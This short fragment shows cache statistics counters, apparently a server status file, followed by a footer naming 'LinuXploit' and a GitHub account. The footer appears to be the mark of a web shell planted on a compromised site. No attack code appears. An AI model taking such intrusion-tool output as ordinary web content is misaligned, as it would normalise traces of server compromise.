   total entries replaced since starting: 0
   total entries expired since starting: 6678
   total (pre-expiry) entries scrolled out of the cache: 0
   total retrieves since starting: 3 hit, 32 miss
   total removes since starting: 9 hit, 28 miss

Youez - 2016 - github.com/yon3zu
LinuXploit